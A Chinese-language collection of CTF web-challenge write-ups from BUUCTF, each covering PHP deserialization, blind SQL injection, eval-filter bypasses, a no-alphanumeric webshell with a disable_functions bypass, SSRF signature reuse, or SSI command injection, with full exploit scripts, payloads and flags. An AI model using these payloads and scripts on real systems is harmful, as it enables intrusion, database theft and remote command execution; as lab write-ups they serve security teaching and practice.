1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[BSidesCF 2019] Futurella 解题笔记
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | BSidesCF 2019 / BUUCTF Web 题 |
| 核心考点 | PHP 反序列化漏洞、魔术方法__destruct()利用、可变函数调用 |
| 目标 | 通过构造反序列化 Payload,执行assert调用phpinfo(),在 phpinfo 页面的环境变量中获取 flag |

二、源码完整分析
题目通过?source参数可直接查看源码,关键代码如下:
<?php
#error_reporting(0);
class HelloPhp
{
// 两个public属性,可被反序列化完全控制
public $a;
public $b;
// 构造函数:初始化$a为日期格式,$b为date函数
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
// 析构函数:对象销毁时自动执行,核心漏洞点
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a); // 可变函数调用:$b为函数名,$a为参数
}
}
// 入口逻辑:接收GET参数`data`并反序列化
$c = new HelloPhp;
if(isset($_GET['source'])) {
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
关键漏洞点拆解
-
反序列化入口:
$_GET["data"]直接传入unserialize(),用户可控输入,可构造任意HelloPhp对象。 -
析构方法触发:
__destruct()在对象销毁时自动执行,无需用户主动调用。 -
可变函数调用:
echo $b($a);中,$b是动态函数名,$a是动态参数,两者均可通过反序列化控制,实现任意 PHP 函数调用。
三、漏洞利用原理
1. 利用思路
-
控制
HelloPhp对象的$b属性为可执行代码的函数(如assert),$a属性为待执行的 PHP 代码(如phpinfo())。 -
反序列化后,对象销毁时自动触发
__destruct(),执行assert(phpinfo()),调用phpinfo()函数。 -
phpinfo()页面会输出服务器环境变量,题目 flag 就藏在其中。
2. 为什么选择assert而非system?
题目环境中system等系统命令执行函数大概率被禁用,而assert在 PHP 7.0-7.2 版本中支持执行字符串形式的 PHP 代码,可绕过限制。
四、Payload 构造与利用步骤
步骤 1:构造恶意序列化对象
编写 PHP 脚本,修改HelloPhp对象的属性,生成序列化字符串:
<?php
class HelloPhp
{
// 控制$a为phpinfo(),$b为assert
public $a = "phpinfo()";
public $b = "assert";
}
// 生成序列化字符串
$payload = new HelloPhp();
echo serialize($payload);
?>
步骤 2:获取序列化 Payload
运行脚本后,得到序列化字符串:
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
注:属性为
public,序列化时无额外\0前缀,可直接使用。

步骤 3:提交 Payload 触发漏洞
将序列化字符串传入?data参数,构造请求 URL:
http://靶机IP:port/?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
步骤 4:从 phpinfo 中提取 flag
访问 URL 后,页面会显示完整的phpinfo()信息,在Environment Variables(环境变量)中找到FLAG字段,例如:
flag{6bcfee89-5533-413a-9124-94433793c126}

[极客大挑战 2019]FinalSQL
获取所有数据库
import requests
from time import sleep
url = "http://dd9a70f3-f3ef-42bd-8286-fe0bdccac825.node4.buuoj.cn:81/search.php?id=0^({})"
# 如果为真时的关键字匹配
base = 'Click others'
盲注的字符集
chars = ',abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
inject = "ord(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{},1))={}"
for i in range(1, 1000):
continue_ = False
for c in chars:
u = url.format(inject.format(i,ord(c)))
res = requests.get(u)
while res.status_code == 429:
sleep(1)
res = requests.get(u)
if base in res.text:
print(c,end='',flush=True)
continue_ = True
break
if not continue_:
break
information_schema,mysql,performance_schema,test,geek
获取表
inject = "ord(substr((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='geek')),{},1))={}"
for i in range(1, 1000):
continue_ = False
for c in chars:
u = url.format(inject.format(i,ord(c)))
res = requests.get(u)
while res.status_code == 429:
sleep(1)
res = requests.get(u)
if base in res.text:
print(c,end='',flush=True)
continue_ = True
break
if not continue_:
break
F1naI1y,Flaaaaag
获取列
inject = "ord(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='F1naI1y')),{},1))={}"
for i in range(1, 1000):
continue_ = False
for c in chars:
u = url.format(inject.format(i,ord(c)))
res = requests.get(u)
while res.status_code == 429:
sleep(1)
res = requests.get(u)
if base in res.text:
print(c,end='',flush=True)
continue_ = True
break
if not continue_:
break
id,username,password
获取flag
import requests
import string
from time import sleep
url = "http://9da9cb18-3096-413a-9476-8a177ffec31a.node4.buuoj.cn:81/search.php?id=0^({})"
# 如果为真时的关键字匹配
base = 'Click others'
# 盲注的字符集
chars = string.printable
inject = "ord(substr(reverse((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y))),{},1))={}"
for i in range(1, 1000):
continue_ = False
for c in chars:
u = url.format(inject.format(i,ord(c)))
res = requests.get(u)
while res.status_code == 429:
sleep(1)
res = requests.get(u)
if base in res.text:
print(c,end='',flush=True)
continue_ = True
break
if not continue_:
break
把flag反转一下
}42e24a1d9455-24bb-fac4-fdf9-e863df96{galf
flag{69fd368e-9fdf-4caf-bb42-5549d1a42e24}

借鉴原文链接:https://blog.csdn.net/kw741951/article/details/141066234
[CISCN 2019 初赛] Love Math
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | CISCN 2019 初赛 / BUUCTF |
| 题目类型 | PHP 代码审计・Eval 注入 |
| 核心考点 | 白名单函数绕过、进制转换动态生成字符串、PHP 动态变量调用、超全局变量利用 |
| 目标 | 绕过三重限制,执行系统命令获取 flag |
二、源码审计与过滤规则分析
1. 完整源码
<?php
error_reporting(0);
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
$content = $_GET['c'];
// 限制1:长度必须小于80字符
if (strlen($content) >= 80) {
die("太长了不会算");
}
// 限制2:黑名单字符过滤
$blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '[', ']'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
// 限制3:白名单函数过滤
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh'];
preg_match_all('/[a-zA-Z_x7f-\xff][a-zA-Z_0-9x7f-\xff]*/', $content, $used_fu);
foreach ($used_fu[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
// 核心漏洞:直接执行用户输入
eval('echo '.$content.';');
}
2. 三重限制拆解
| 限制类型 | 具体规则 | 影响 |
|---|---|---|
| 长度限制 | strlen($content) < 80 | Payload 必须极度精简,无冗余字符 |
| 黑名单字符 | 禁止空格、\t、\r、\n、单/双引号、反引号、方括号 | 无法直接写system('cat /flag')这类常规命令 |
| 白名单函数 | 仅允许abs/acos/acosh/asin/asinh/atan2/atan/atanh | 常规系统命令函数(如system)被拦截 |
三、核心漏洞原理(绕过逻辑)
1. 关键 PHP 特性利用
| 特性 | 作用 | 应用场景 |
|---|---|---|
动态变量调用 $$var | $pi = "_GET"; $$pi 等价于$_GET | 动态访问超全局变量,避免直接写$_GET |
| 进制转换函数 | base_convert()/dechex()可将十进制数字转换为指定进制字符串 | 动态生成hex2bin/_GET,避免直接写标识符被白名单拦截 |
| 数组形式函数调用 | ($_GET){pi}($_GET){abs} 等价于$_GET['pi']($_GET['abs']) | 绕过方括号黑名单,实现无引号 / 无括号的函数调用 |
2. 绕过思路拆解
-
动态生成
hex2bin函数名:利用base_convert(37907361743,10,36)将十进制数字转换为 36 进制字符串,得到hex2bin,避免直接写被白名单拦截。 -
动态生成
_GET字符串:先将_GET的 ASCII 码转为十六进制5f474554,再用dechex(1598506324)(十进制对应十六进制5f474554)生成十六进制字符串,最后用hex2bin转换为_GET。 -
赋值给变量,动态调用超全局变量:将
_GET赋值给$pi,此时$$pi等价于$_GET。 -
无括号调用系统命令:用
($$pi){pi}(($$pi){abs})调用$_GET['pi']($_GET['abs']),通过 URL 参数传递system和cat /flag,实现命令执行。
四、Payload 构造完整步骤
步骤 1:生成hex2bin函数名
// 将十进制数字37907361743转换为36进制,得到字符串"hex2bin" base_convert(37907361743, 10, 36)
步骤 2:生成_GET字符串
// 1. "_GET"的ASCII码十六进制:5f474554
// 2. 十六进制转十进制:0x5f474554 = 1598506324
// 3. 十进制转十六进制字符串:dechex(1598506324) → "5f474554"
// 4. 十六进制转原始字符串:hex2bin("5f474554") → "_GET"
hex2bin(dechex(1598506324))
步骤 3:组合生成超全局变量$_GET
// 将步骤1和步骤2结合,赋值给变量$pi $pi=base_convert(37907361743,10,36)(dechex(1598506324)); // 此时$$pi 等价于 $_GET
步骤 4:构造无括号函数调用
// 调用形式:$_GET['pi']($_GET['abs'])
// 转换为无方括号形式:($$pi){pi}(($$pi){abs})
($$pi){pi}(($$pi){abs})
步骤 5:组合完整 Payload(长度 < 80)
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})
步骤 6:构造最终 URL,传递参数
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
五、完整解题流程
-
访问靶机:查看源码,确认过滤规则和 Eval 注入漏洞。

-
构造 Payload:按照上述步骤生成符合所有限制的字符串。
-
提交请求:访问构造好的 URL,通过
pi参数传递system,abs参数传递cat /flag。 -
获取 Flag:请求执行后,页面会直接输出
cat /flag的结果,即 flag。

[极客大挑战 2019]RCE ME
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | 极客大挑战 2019 / BUUCTF |
| 核心考点 | 无字母数字 RCE、URL 编码取反绕过、PHP7 GC UAF 漏洞绕过disable_functions |
| 最终 flag | flag{b49a25eb-a297-42d1-a78c-56dfe96b3a87} |
二、步骤 1:源码审计,明确限制
打开靶机页面,源码如下:

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
// 限制1:Payload长度必须≤40字符
if(strlen($code)>40){
die("This is too Long.");
}
// 限制2:禁止所有字母、数字([A-Za-z0-9])
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
// 核心漏洞:直接eval执行用户输入
@eval($code);
}
?>
关键限制拆解:
-
不能用任何字母、数字,常规
system()/phpinfo()无法直接写; -
Payload 长度必须≤40,需要精简无冗余;
-
后端直接
eval()执行,是注入入口。
三、步骤 2:生成无字母数字一句话木马 Payload
核心思路:按位取反 + URL 编码绕过
PHP 中~是按位取反运算符,对目标字符串取反后再 URL 编码,生成的字符串不含字母数字,可绕过preg_match过滤。
本地生成 Payload
编写本地 PHP 脚本,对一句话木马assert(eval($_POST[cmd]));取反并 URL 编码:
<?php $payload = "assert(eval(\$_POST[cmd]));"; echo urlencode(~$payload); ?>
运行脚本后,得到最终 Payload:
%9E%8C%8C%9A%8D%8B%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6

拼接完整 URL访问:
http://你的靶机地址/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
注:
(取反字符串)(取反字符串)是 PHP 的可变函数调用格式,还原后为assert(eval($_POST[cmd]));
四、步骤 3:蚁剑连接配置
-
打开蚁剑,点击「添加数据」;
-
填写配置:
-
URL 地址:填写拼接好的完整 Payload URL;
-
连接密码:
cmd(和一句话木马的$_POST[cmd]对应); -
编码设置:UTF8;
-
连接类型:PHP;
-
-
点击「测试连接」,提示 “连接成功”,配置生效。

五、步骤 4:绕过disable_functions
问题:终端执行命令返回ret=127
原因:靶机的disable_functions禁用了system/exec/shell_exec等所有系统命令执行函数,蚁剑终端默认调用这些函数,无法执行命令。
蚁剑插件绕过
-
右键你的靶机连接 → 「加载插件」→「辅助工具」→「绕过 disable_functions」;

-
模式选择:
PHP7_GC_UAF(适配你的 PHP 7.0 环境,利用垃圾回收 UAF 漏洞绕过禁用列表);
点击「开始」,插件自动完成绕过配置。
六、步骤 5:获取最终 flag
-
打开蚁剑终端;
-
执行命令:
/readflag(靶机提供的 SUID 程序,以 root 权限读取 /flag 文件); -
终端直接输出 flag:
flag{b49a25eb-a297-42d1-a78c-56dfe96b3a87}。

[De1CTF 2019]SSRF Me
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | De1CTF 2019 / BUUCTF |
| 核心考点 | SSRF 漏洞、WAF 绕过、签名验证复用、二次读写请求 |
| flag 位置 | 靶机根目录 ./flag.txt |
| 关键限制 | 1. WAF 拦截gopher:///file://协议;2. param必须从 GET 请求读取;3. 请求需携带合法签名 |

二、源码核心逻辑拆解
1. 关键路由与参数读取
# 处理任务请求的核心路由(易错点:路径是/De1ta,数字1,不是字母l)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
# ✅ action 和 sign 从 Cookie 读取
action = urllib.unquote(request.cookies.get("action"))
sign = urllib.unquote(request.cookies.get("sign"))
# ❌ 易错!param 必须从 URL 的 GET 参数读取,Cookie 里的 param 完全无效!
param = urllib.unquote(request.args.get("param", ""))
2. 二次读写漏洞逻辑(获取 flag 的核心)
def Exec(self):
if self.checkSign(): # 验证签名
# 第一步:scan操作——读取param对应的URL,写入临时文件
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # SSRF请求:读取flag.txt内容
tmpfile.write(resp) # 把flag写入临时文件
# 第二步:read操作——读取临时文件,返回给用户
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['data'] = f.read() # 把flag返回给用户
关键要求:action必须同时包含scan和read两个字符串,才能完成 “写入 flag→读取 flag” 的完整流程。
3. 签名复用原理
def getSign(action, param): # 签名规则:secret_key + param + action 的 MD5 值,顺序不能反 return hashlib.md5(secret_key + param + action).hexdigest()
利用拼接顺序,用param=flag.txtread + action=scan,生成和param=flag.txt + action=readscan完全相同的签名:
-
拼接 1:
secret_key + "flag.txtread" + "scan"→secret_key + "flag.txtreadscan" -
拼接 2:
secret_key + "flag.txt" + "readscan"
→
secret_key + "flag.txtreadscan"
两个拼接结果完全一致,MD5 值也完全相同!
三、解题步骤
步骤 1:获取匹配的合法签名
操作:访问/geneSign路由,用param=flag.txtread生成签名:
GET /geneSign?param=flag.txtread HTTP/1.1 Host: e3a68d4a-2fb8-4fed-b9e8-409c7eca6efb.node5.buuoj.cn:81
响应结果:拿到签名 870e6f170e45b21162ad30142ea2bae4,和目标请求的签名完全匹配。

步骤 2:发送最终请求,获取 flag
最终请求(Burp 中发送):
GET /De1ta?param=flag.txt HTTP/1.1 Host: e3a68d4a-2fb8-4fed-b9e8-409c7eca6efb.node5.buuoj.cn:81 Cookie: action=readscan; sign=870e6f170e45b21162ad30142ea2bae4 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
响应结果:成功拿到 flag 的 JSON 数据:
{"code": 200, "data": "flag{a4b32834-007c-47ec-a0dd-6692dad5a711}\n"}

[BJDCTF2020] EasySearch 1 解题笔记
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | BJDCTF2020 / BUUCTF |
| 核心考点 | 目录备份文件泄露、MD5 弱类型碰撞、SSI(服务器端包含)注入漏洞 |
| 目标 | 绕过登录验证,利用 SSI 漏洞执行系统命令获取 flag |

二、步骤 1:目录扫描,发现备份文件
操作过程
-
尝试常规 SQL 注入无果后,使用
dirsearch
工具扫描目录:
python dirsearch.py -u "http://你的靶机地址/"

-
关键注意点:扫描时需关闭代理,否则会漏扫出
index.php.swp文件(vim 编辑文件时生成的临时备份文件)。
关键文件
-
/index.php.swp:vim 编辑index.php时生成的临时文件,可恢复出完整源码,是解题的突破口。
恢复源码
使用 vim 命令恢复备份文件:
vim -r index.php.swp
即可得到完整的index.php源码。
三、步骤 2:源码审计,定位漏洞点
源码关键逻辑

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)];
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST['username']) and $_POST['username'] != '')
{
$admin = '6d0bc1';
// 弱类型验证:只需MD5前6位等于'6d0bc1'即可通过
if ( $admin == substr(md5($_POST['password']),0,6) ) {
echo "<script>alert('[+] Welcome to manage system')</script>";
// 生成随机文件名的shtml文件
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
// 把用户可控的username写入文件,无任何过滤
$text = '
<h1>Hello, '.$_POST['username'].'.</h1>
';
fwrite($shtml,$text);
fclose($shtml);
} else {
echo "<script>alert('[!] Failed')</script>";
}
}
?>
漏洞分析
-
弱类型密码验证:
$admin == substr(md5($_POST['password']),0,6),仅需password的 MD5 哈希前 6 位为6d0bc1即可通过验证,无需完整匹配。 -
SSI 注入漏洞:登录成功后,服务器会生成
.shtml文件(支持解析服务器端包含指令),并将用户可控的username直接写入文件,无任何过滤,因此可插入恶意 SSI 指令执行任意系统命令。
四、步骤 3:MD5 前 6 位碰撞,获取有效 password
编写碰撞脚本(Python)
import hashlib
for i in range(100000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
运行结果
脚本会输出有效 password,常见结果为20200666或2305004,两者的 MD5 前 6 位均为6d0bc1,可直接使用。

五、步骤 4:构造 SSI 注入 Payload,执行命令拿 flag
SSI 漏洞原理
.shtml文件会解析服务器端包含指令,其中<!--#exec cmd="命令"-->指令可执行任意系统命令,并将结果嵌入 HTML 中返回给客户端。
构造 Payload(需 URL 编码)
-
原始 SSI 指令(直接执行 find 命令查找 flag 文件):
<!--#exec cmd="find / -name flag*"-->
-
URL 编码后的 Payload(POST 提交时使用,避免特殊字符被转义):
%3C%21--%23exec+cmd%3D%22find+%2F+-name+flag*%22--%3E

登录请求(POST)
POST /index.php HTTP/1.1 Host: 你的靶机地址 Content-Type: application/x-www-form-urlencoded username=<!--#exec cmd="cat /var/www/html/flag"-->&password=20200666
或使用编码后的 username:
username=%3C%21--%23exec+cmd%3D%22cat+%2Fvar%2Fwww%2Fhtml%2Fflag%22--%3E&password=20200666
访问生成的 shtml 文件
登录成功后,服务器会返回生成的.shtml文件路径(如public/xxxx.shtml),访问该文件即可看到命令执行结果,获取 flag。


[WUSTCTF2020] 颜值成绩查询
一、题目核心信息与考点确认
1. 基础环境

-
靶机地址:
http://19920a26-9452-4fd4-96db-52fceaa3ac71.node5.buuoj.cn:81/?stunum= -
交互逻辑:
-
输入
stunum=1→ 返回Hi admin, your score is: 100(存在的用户) -
输入不存在的学号 → 返回
student number not exists.
-
-
关键发现:空格被过滤,需用括号
()替代空格;注入点为数字型,无需闭合引号
2. 核心考点
-
布尔盲注:通过页面状态差异推断 SQL 执行结果
-
二分法优化:将每个字符的爆破次数从 128 次降至 7 次,大幅提升效率
-
SQL 函数组合:
ord()/ascii()+substr()+group_concat()实现数据提取 -
空格过滤绕过:用括号替代空格,构造合法注入语句
二、脚本核心原理深度解析
1. 关键语法与函数说明
| 语法 / 函数 | 作用 | 示例 |
|---|---|---|
1*(条件) | 将布尔值转为数字(真 = 1,假 = 0),适配数字型注入点 | 1*(1>0) → 1 |
ord(字符) | 获取字符的 ASCII 值(MySQL 中同ascii()) | ord('a') → 97 |
substr(字符串,位置,长度) | 截取字符串,位置从 1 开始 | substr('abc',2,1) → 'b' |
group_concat(字段) | 拼接同组所有字段值,用逗号分隔 | 拼接所有表名 / 字段名 |
(low + high) >> 1 | 位运算实现整数除法,等价于(low+high)//2 | 二分法计算中间值 |
2. 盲注判断逻辑
-
当条件为真时 → 表达式结果为 1 → 页面返回
your score is: 100 -
当条件为假时 → 表达式结果为 0 → 页面返回
student number not exists. -
脚本通过判断页面是否包含
your score is: 100来推断条件真假
3. 完整 Payload 结构
1*(ord(substr((查询语句),字符位置,1))>中间值)
-
用
1*将布尔结果转为数字,适配数字型注入点 -
用括号替代空格,绕过空格过滤限制
-
通过
>比较 ASCII 值,实现二分法逐字符爆破
三、脚本完整解析
import requests # 导入HTTP请求库,用于发送请求 import time # 导入时间库,用于设置请求间隔,避免被拦截 # 靶机URL,包含注入点参数stunum= url = "http://19920a26-9452-4fd4-96db-52fceaa3ac71.node5.buuoj.cn:81/?stunum=" result = "" # 存储最终爆破结果 i = 0 # 字符位置计数器,从1开始 while (True): i = i + 1 # 字符位置+1,开始爆破第i个字符 low = 32 # ASCII值下界(空格) high = 127 # ASCII值上界(DEL,覆盖所有可打印字符) while (low < high): # 二分法循环,直到找到精确ASCII值 mid = (low + high) >> 1 # 计算中间值,位运算效率更高 # 【Payload切换区】按需注释/取消注释,对应不同爆破阶段 # 1. 爆破数据库名 # payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid) # 2. 爆破当前数据库所有表名 # payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid) # 3. 爆破flag表的所有字段名 # payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid) # 4. 爆破ctf数据库flag表的value字段值(最终flag) payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid) r = requests.get(url + payload) # 发送GET请求 time.sleep(0.5) # 延迟0.5秒,避免请求过快被WAF拦截 r.encoding = "utf-8" # 设置编码为UTF-8,防止中文乱码 # 判断条件是否成立 if "your score is: 100" in r.text: low = mid + 1 # 条件成立,调整下界,继续查找更大值 else: high = mid # 条件不成立,调整上界,继续查找更小值 # 处理当前字符 last = result if low != 32: # 如果不是空格,说明还有字符 result += chr(low) # 将ASCII值转为字符,添加到结果中 else: break # 遇到空格,说明数据已全部爆破完成,退出循环 print(result) # 实时输出当前爆破结果
四、分阶段爆破流程阶段
1:爆破数据库名
-
启用 Payload:
payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid) -
执行脚本,得到数据库名:
ctf
阶段 2:爆破表名
-
启用 Payload:
payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid) -
执行脚本,得到表名:
flag
阶段 3:爆破字段名
-
启用 Payload:
payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid) -
执行脚本,得到字段名:
value
阶段 4:爆破 flag 值
-
启用 Payload:
payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid) -
执行脚本,得到最终 flag:
flag{xxx-xxx-xxx-xxx}


1690

被折叠的 条评论
为什么被折叠?



